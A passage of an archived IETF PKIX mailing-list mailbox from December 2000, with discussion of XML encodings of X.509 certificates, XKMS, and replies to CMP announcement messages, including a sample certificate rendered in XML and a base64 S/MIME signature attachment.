>     ca1373de791a7d3302145d90f6ce924a
>     bf2911248028a65a8e73b6760268
>   </encrypted>
> </Certificate>
> 
> Regards,
> Steven


Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA13881; Fri, 8 Dec 2000 14:43:15 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id OAA09473; Fri, 8 Dec 2000 14:46:50 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <YMB7MMRB>; Fri, 8 Dec 2000 14:45:11 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C739@vhqpostal.verisign.com>
From: Philip Hallam-Baker <pbaker@verisign.com>
To: "'Tim Polk'" <tim.polk@nist.gov>, Anders Rundgren <anders.rundgren@telia.com>, Stephen Kent <kent@bbn.com>, ietf-pkix@imc.org, Paul Hoffman / IMC <phoffman@imc.org>
Subject: RE: PKIXML session.  Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 14:45:10 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=SHA1; boundary="----=_NextPart_000_0014_01C0613E.D9D670F0"; protocol="application/x-pkcs7-signature"
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_0014_01C0613E.D9D670F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Tim,

	I agree, in particular I do not think a protocol that merely 
changes the syntax of certificates would be worthwhile.

	The near term goal of our work has been to ensure that there
is absolutely no excuse for not PKI enabling an application. Using
XKMS it is possible for a device to implement S/MIME based on X.509v3
certificates while treating them as an opaque blob.

	While we can argue about the model in the context of email
clients the argument becomes rather different when we consider wider
application of PKI. Am I expected to cross-certify my refrigerator 
with the cofee maker and toaster? Does my VCR have to establish a
certificate path to the television?

	PKIX is already deployed in many areas and will be the major
force in PKI for some time to come. XKMS is primarily a complimentary
technology. It shields the client from the complexity of the underlying
PKI. It cuts through the Gordian knot of full feature PKI deployment 
being dependent on deployment of full feature client support that 
in turn waits for full feature PKI deployment.

	The objective is to stamp out passwords, not replace PKIX,
at least not for quite a while.

		Phill


> -----Original Message-----
> From: Tim Polk [mailto:tim.polk@nist.gov]
> Sent: Thursday, December 07, 2000 9:32 AM
> To: Anders Rundgren; Stephen Kent; ietf-pkix@imc.org; Paul 
> Hoffman / IMC
> Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
> 
> 
> Anders,
> 
> It is very important that we come to some consensus regarding how 
> X.509-based PKIs can be integrated with XML-based clients.  
> This topic is 
> in my opinion within the scope of our charter.  The PKIX WG 
> has spent a lot 
> of cycles on the list discussing this topic, so there is clearly 
> interest.  It makes sense to deal with it as much as we can 
> during the 
> session.  I deferred this discussion to the end since it will 
> consume any 
> available time.
> 
> This is very different from a session on XML-based PKIs, 
> where ASN.1 is 
> never used.  That is the session I thought you were 
> requesting, and it is 
> well outside our charter.  It is not my role or Steve's to be 
> organizing 
> such a session.  To be honest, I personally believe that XML is an 
> inappropriate encoding format for certificates (public key 
> *or* attribute).
> 
> I am sorry you assumed we wouldn't discuss PKI and XML at all.  The 
> discussion is incomplete if the "loudest PKI-XML proponent" 
> (or opponent) 
> is not present.
> 
> Tim
> 
> At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote:
> >Tim,
> >What you are saying is that there _will_ be some kind of a 
> PKIXML session 
> >(short but something at least)
> >which I have asked Steve K to arrange in and off this list 
> with no success.
> >
> >Unfortunately, I and few others cannot waste their precious 
> time on things 
> >that are decided
> >in the last minute with no previous information. As we have 
> discussed this 
> >subject for a month
> >or so, I am pretty disappointed on how PKIX handled this.  
> OK, maybe it is 
> >a "win" in somebody's
> >view that the loudest PKI-XML proponent (who still insists 
> that this is a 
> >_market_ thing as well) will
> >not be there...
> >
> >Anders
> >
> >
> >
> > > I am projecting a half hour for discussions on XML and 
> PKI.  So far, Phil
> > > has requested time to describe XKMS.  If you would like 
> to present under
> > > this general topic, please send me email.  I will try to 
> get everyone some
> > > time to present their views.
> > >
> > > Thanks,
> > >
> > > Tim Polk
> 

------=_NextPart_000_0014_01C0613E.D9D670F0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINaDCCAj0w
ggGmAhEAulrJTAU7ktantt9O0FOSDTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG
A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMDQwMTA3MjM1OTU5WjBfMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVi
bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBALZai6MNaiODgGvPOYf0IRMzBkwlou1VEpfFp4C5+oPBIKD6LxUNfKFga355LPoGDzqu
9htvsdL/LyhSX4N9S8R6t/hmH4BU/LfCjllKFFdG0ZqTvkGRA7sVgJNc6+fMCGw/PrNK/P9LbCPV
UIImRBmOI8Nx6hkkRwSedb/IpgAfAgMBAAEwDQYJKoZIhvcNAQECBQADgYEAtgAfk1ekB6dAzmVA
P1Ve7e/6VEmlMNYhfGGH7oOTC7+0M/KYrJ8Gv06ozhSBTMsETljDz1/ufNeab8tBird/gbj/hGHG
J0NlHQzssQAK3Ruku8d4ICiyot02lS7hVE+/YLl3aBGZI+jqUuiqAE5nTruQtUWbRuuOFu/EM1sz
PdUwggNDMIICrKADAgECAhAffl/nA9Hgv5kg3GuJDUsEMA0GCSqGSIb3DQEBBAUAMF8xCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMiBQdWJsaWMg
UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTAyMjUwMDAwMDBaFw0wNDAxMDUy
MzU5NTlaMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1
c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93
d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEmMCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQ
ZXJzb25uZWwgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKcEbA+icrdKBi741yksNJ2C
vEiRSses+en8uVl4sVXAU1ixz28WO8FJ1cv0bszhzMu1xy5OiKo06bbQW3w+FVc04Ri8/931r2dZ
IArlPeqIikDSmokTKam21dunfuHnNyST/ZR0TXrkMm1M6FwWl6/dktlmihRm5OpaA6g9X/sLAgMB
AAGjgbAwga0wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMi5j
cmwwEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEHAQEwLTArBggrBgEF
BQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rcjAPBgNVHRMECDAGAQH/AgEBMAsG
A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQB59xXN6GhRWWv8qaa94B77vPQ/kN/n+u3kVPdh
PVSLBrqXMloeqyzur3Orx13TP4/0zstOSGCiqGC2ON6gpvePKegRrMw5dlA83TlsC/Fa/QhUdt0W
bPcxcLi/CPfJJgaO37svGbG2uLToPEjoJ7GXKSBXA5ybZ/p9QMQ4fxiqmjCCA8QwggMtoAMCAQIC
EQCEzvIOADm1dVXaGYePUu2JMA0GCSqGSIb3DQEBBAUAMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEm
MCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQZXJzb25uZWwgQ0EwHhcNOTkwMjI1MDAwMDAwWhcN
MDQwMTA0MjM1OTU5WjCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0
dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs
YXNzIDIgRW1wbG95ZWUgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMCK0YdhouowA1Vr
CDbwl/oaVDUkH+h9ncjDc9PYRvWRLdk47ZTXsCZzKt6XUE3/Ihy9cACYDFgqsaRyj6W59y18YOO1
3+l9TiEhYdX8O1TJpAmcuyL5orpwYU+GRqL9BWTsCj+mWHZXuxZzRHzwpQ2XwGym8WMIJbEEF5Wg
jf5/AgMBAAGjgeIwgd8wKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMTE4
MDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNy
bDARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsGCCsGAQUF
BwIBFh9odHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyMA8GA1UdEwQIMAYBAf8CAQAwCwYD
VR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBABlGztRrcI5YXIhCNa0WfaUJLKhTkPH2PYbX8M5y
FD0ivPLDM+3U/AWa4GMgdaMb71UZDwZzIQJhrqaeUSt43FvIhIvV17bP1fg+l5ixRIujmI6gS/aY
MZOz8AzdUXbKl+RWRMb7lKFIfSJDzKDGXHlV9WeBG2iYNCREsZjBOiheMIIEFDCCA32gAwIBAgIQ
AxTuqrYcesW8jpUyudZ0/DANBgkqhkiG9w0BAQQFADCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIElu
Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJq
ZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAj
BgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95ZWUgQ0EwHhcNOTkxMjIwMDAwMDAwWhcNMDAx
MjE5MjM1OTU5WjBsMREwDwYDVQQKEwhWRVJJU0lHTjELMAkGA1UECxMCSFExEzARBgNVBAMTClJl
Y2lwaWVudHMxNTAzBgNVBAMTLHBiYWtlciAoUGhpbGlwIEhhbGxhbS1CYWtlciwgVmVyaVNpZ24s
IEluYy4pMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC3f0kRIy2AU5cHhfnUwuHecFNq6dnf
/wsvxS//4Nt8rFgr2KdvQETKaQ6wGl6mVijB6udZW9dUKVoE1lnu2MMcIhtAL3+Q2dsrxlrTInfq
PKAdxu/Fvb4n3Y0RItW9zh1MzFWZ8Q9z6eF2HuBwG6ANfRzfJgironyftbbitRyaxQIDAQABo4IB
dDCCAXAwCQYDVR0TBAIwADBVBgNVHR8ETjBMMEqgSKBGhkRodHRwOi8vb25zaXRlY3JsLnZlcmlz
aWduLmNvbS9WZXJpU2lnbkluY0V4Y2hhbmdlRW1wbG95ZWVzL0xhdGVzdENSTDALBgNVHQ8EBAMC
BaAwHgYDVR0RBBcwFYETcGJha2VyQHZlcmlzaWduLmNvbTCBrAYDVR0gBIGkMIGhMIGeBgtghkgB
hvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggr
BgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4g
YnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeA
MB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQAaUApBXCjc
mPE5dFPHlQVl4n9WoOU7AE487xxC7vcR1MDhF8p/0GMu6zOyZe9CFVaOndaYCRgv69qKTVoANmsM
F/eFsQn/HaoXEz+jHPNgWcPyBu3dujO9s2PLQbuBXE3rIaDiVyTftVgoNvO0fcknSlNOWxqHvbaH
9RYvhMghkjGCAvgwggL0AgEBMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE
CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVy
bXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTElMCMGA1UEAxMcVmVy
aVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAJBgUrDgMCGgUAoIIB
jDAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMDEyMDgyMjQ2NTNa
MCMGCSqGSIb3DQEJBDEWBBT/G2AO6SH5ZNJB5m1akza3GqVypzBYBgkqhkiG9w0BCQ8xSzBJMAoG
CCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMC
GjAKBggqhkiG9w0CBTCB0gYJKwYBBAGCNxAEMYHEMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEl
MCMGA1UEAxMcVmVyaVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAN
BgkqhkiG9w0BAQEFAASBgGPRT1Pcr3CHnAm8Cg914dZjuLEVevgsl1bZu9mh0I+eyQIqCpZmjcvA
ZeyF63nCuuSEijdwGwEAQteleJPassJsT04ZDV+99EJwLWWp+PuaN7lzUheeFwWjJU2VZfuDL+P5
JdsJyXPq7YVf9VuHTJgCr9XxY0WdUSLUkesnXKXsAAAAAAAA

------=_NextPart_000_0014_01C0613E.D9D670F0--



Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA06073 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 12:08:01 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <XJNAQ4YF>; Fri, 8 Dec 2000 15:00:55 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EDD@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "'Margus Freudenthal'" <margus@cyber.ee>
Cc: PKIX list <ietf-pkix@imc.org>
Subject: RE: CMP question
Date: Fri, 8 Dec 2000 15:10:26 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06152.E7B671C0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C06152.E7B671C0
Content-Type: text/plain

Hi Margus,

> ----------
> From: 	Margus Freudenthal[SMTP:margus@cyber.ee]
> Sent: 	Thursday, December 07, 2000 5:41 AM
> To: 	PKIX list
> Subject: 	CMP question
> 
> Hello.
> 
> The RFC 2510 (or its successor) does not define how one should respond
> to announcement messages (i.e. certificate announcement, revocation
> announcement, CRL announcement).  In some cases (mostly for revocation)
> the sending party needs to know that the receiver has really got and
> understood the message.  It seems to me that the receiver should reply
> with Confirmation to indicate that the message was OK or with
> ErrorMsgRep, if it wasn't.
> 
> Any other suggestions?
 
In typical practice, there is no response to a broadcast message (the sender
does not want -- or need -- to handle the flood of replies that would come
back).  This is true in many different environments, and CMP announcement
messages are no exception.

If "the sending party needs to know that (a particular) receiver has really
got and understood the message", then the sender should use some mechanism
other than a broadcast announcement to achieve this.  If I need to make sure
I get a message to you, I'm unlikely to put it in the newspaper or in a
radio spot; I'd be better off using the telephone or e-mail (for example).

Carlisle.


------_=_NextPart_001_01C06152.E7B671C0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: CMP question</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Margus,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Margus =
Freudenthal[SMTP:margus@cyber.ee]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Thursday, December 07, 2000 5:41 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">PKIX =
list</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">CMP question</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The RFC 2510 (or its successor) does =
not define how one should respond</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to announcement messages (i.e. =
certificate announcement, revocation</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">announcement, CRL =
announcement).&nbsp; In some cases (mostly for revocation)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the sending party needs to know that =
the receiver has really got and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">understood the message.&nbsp; It =
seems to me that the receiver should reply</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">with Confirmation to indicate that =
the message was OK or with</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">ErrorMsgRep, if it wasn't.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Any other suggestions?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">In =
typical practice, there is no response to a broadcast message (the =
sender does not want -- or need -- to handle the flood of replies that =
would come back).&nbsp; This is true in many different environments, =
and CMP announcement messages are no exception.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">If =
&quot;the sending party needs to know that (a particular) receiver has =
really got and understood the message&quot;, then the sender should use =
some mechanism other than a broadcast announcement to achieve =
this.&nbsp; If I need to make sure I get a message to you, I'm unlikely =
to put it in the newspaper or in a radio spot; I'd be better off using =
the telephone or e-mail (for example).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C06152.E7B671C0--


Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA05647 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 12:04:47 -0800 (PST)
Received: from asn-1.com (user-2ivf8nh.dialup.mindspring.com [165.247.162.241]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id PAA05089; Fri, 8 Dec 2000 15:06:47 -0500 (EST)
Message-ID: <3A313FFA.F9B3D59E@asn-1.com>
Date: Fri, 08 Dec 2000 15:09:30 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "'PKIX'" <ietf-pkix@imc.org>
CC: "asn.1/xml" <asn1xml@oss.com>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steven Legg wrote:
> 
> > -----Original Message-----
> > From: Aram Perez [mailto:aram@pacbell.net]
> > Sent: Friday, 8 December 2000 4:25
> > To: PKIX
> > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
> >
> >
> > Just for fun, I've attached the PKIX example #1 certificate
> > converted from
> > ASN.1 to XML.
> >
> > Enjoy,
> > Aram Perez
> 
> That's one way to encode a certificate in XML, but not a method I find
> particularly appealing. The following XML encoding of the same certificate
> is my best guess (possibly way off) at what represents current thinking on
> the ASN.1 group's XML encoding rules mailing list. I would name the elements
> in a SET OF or SEQUENCE OF differently, but that is an argument for a
> different forum.

Steven,

I can't speak for everyone involved in the ASN.1/
XML work, but this is a very good guess as to where
we seem to be headed. But there are many particulars 
still to be discussed and resolved and many different
opinions to consider. 

For example, the representation of OID values has
spawned a great deal of discussion. While I have
favored <tag>1.2.3.4</tag> that mimics the notation
used in LDAP, other prefer the ASN.1 value notation
format that you've used below. But there is also some
sentiment for relying on the urn:oid work currently 
being progressed in the IETF, as well as proponents
of the <tag>iso(1) identified-organization(3)</tag>
style format.

And that's just one small issue. The work plan has 
just been announced and is scheduled for 22 January
through 2 February 2001, in Geneva, Switzerland. For
anyone that is interested, they might wish to monitor
the discussion list at asn1xml@oss.com, as the details 
of this work are probably a bit off topic for pkix.

I would comment though that the benefit of this new
notation is obscured somewhat by the examples being
used. Certificates are not very interesting to look
at for most humans in any format and seem to be at 
their best in a small, efficient binary format that
is mechanically processed. Only a few of their parts
have much use as display items. 

These examples do serve to illustrate how verbose tagged
text formats can be. But what will be more beneficial to
consider for ASN.1 users I believe, will be the ability
to generate default ASN.1 specified XML mark up for the 
likes of protocol messages, say perhaps the request and 
response messages specified in tools such as OCSP. 

Phil

> 
> <Certificate>
>   <toBeSigned>
>     <version>
>       v3
>     </version>
>     <serialNumber>
>       17
>     </serialNumber>
>     <signature>
>       <algorithm>
>          { 1 2 840 10040 4 3 }
>       </algorithm>
>     </signature>
>     <issuer>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </issuer>
>     <validity>
>       <notBefore>
>         970630000000Z
>       </notBefore>
>       <notAfter>
>         971231000000Z
>       </notAfter>
>     </validity>
>     <subject>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </subject>
>     <subjectPublicKeyInfo>
>       <algorithm>
>         <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
>         <parameters>
>           <p>
>             d43802c5357bd50ba17e5d72596355d3
>             4556eae2251a6bc5a4abaa0bd462b4d2
>             21b195a2c601c9c3fa016f7986833d03
>             61e1f192acbc034e89a3c9534af7e2a6
>             48cf421e21b15c2b3a7fbabe6b5af70a
>             26d88e1bebecbf1e5a3f45c0bd3123be
>             6971a7c290fea5d680b524dc449ceb4d
>             f9daf0c8e8a24c99075c8e352b7d578d
>           </p>
>           <q>
>             a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
>           </q>
>           <g>
>             0e3b46318a0a58864084e3a1220d88ca
>             908857649f0121e01505942482e21090
>             d9e14e105ce7546bd40c2b1b590aa0b5
>             a17db507e3657cea90d88e3042e485bb
>             acfa4e764b780edf6ce5a6e1bd59777d
>             a69759c529a7b33f953e9df1592df742
>             87623ff1b86fc73d4bb88d74c4ca4490
>             cf67dbde1460974ad1f76d9e0994c40d
>           </g>
>         </parameters>
>       </algorithm>
>       <subjectPublicKey>
>         028180aa98ea1394a2dbf15b7f982f78
>         e7d8e3b97186f6802f4039c3da3b4b13
>         4626ee0d56c5a33a39b77d33c26b5c77
>         92f255659039cd1a3c86e132eb25bc91
>         c4ff804f3661bdcce26104e07e6013ca
>         c09cdde0ea41de33c1f144a9bc71decf
>         59d46eda44993c2164e478549dd07bba
>         4ef5184d5e3930bfe0d1f6f483254f14
>         aa71e1
>       </subjectPublicKey>
>     </subjectPublicKeyInfo>
>     <extensions>
>       <Extension>
>           <extnId>
>           { 2 5 29 19 }
>         </extnId>
>         <critical>
>           TRUE
>         </critical>
>         <extnValue>
>           30030101ff
>         </extnValue>
>       </Extension>
>       <Extension>
>         <extnId>
>           { 2 5 29 14 }
>         </extnId>
>         <extnValue>
>           0414e726c554cd5ba36f356895aad5ff1c21e42275d6
>         </extnValue>
>       </Extension>
>     </extensions>
>   </toBeSigned>
>   <algorithmIdentifier>
>     <algorithm>
>       { 1 2 840 10040 4 3 }
>     </algorithm>
>   </algorithmIdentifier>
>   <encrypted>
>     302c0214a066c176339913518d93642f
>     ca1373de791a7d3302145d90f6ce924a
>     bf2911248028a65a8e73b6760268
>   </encrypted>
> </Certificate>
> 
> Regards,
> Steven


Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA28836 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 10:49:06 -0800 (PST)
Received: (qmail 10823 invoked from network); 8 Dec 2000 18:51:23 -0000
Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 8 Dec 2000 18:51:23 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Fri, 08 Dec 2000 12:51:21 -0600
Message-ID: <3A312D14.B8E61989@nma.com>
Date: Fri, 08 Dec 2000 10:48:52 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Juergen Brauckmann <brauckmann@trustcenter.de>
CC: ietf-pkix@imc.org
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WGtentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> <3A300D20.F7497497@nma.com> <3A308E91.C065FEE@trustcenter.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Juergen Brauckmann wrote:

> Ed Gerck wrote:
> > If XML encoded documents can be modified without changing the
> > document, then presenting one XML encoded document which has
> > a valid signature is enough to allow any number of documents equal
> > to that one to be verified -- irrespective of their XML encoded form.
> >
> > In other words, if F: X --> Y is a mapping between two sets X and Y
> > such that several different x in X have the same image y0 in Y, then presenting
> > a valid signature for one x0 is enough, together with a certified F, to certify all
> > other x that have the same image as the certified x0 mapped by the certified F,
> > which is y0.
>
> So we can have an F() which transforms any pattern "$10 " into a "$1000
> " for any given XML documents, so that a document verifies with $10 and
> with $1000? Yes, this sounds really useful for signed documents;-)
>
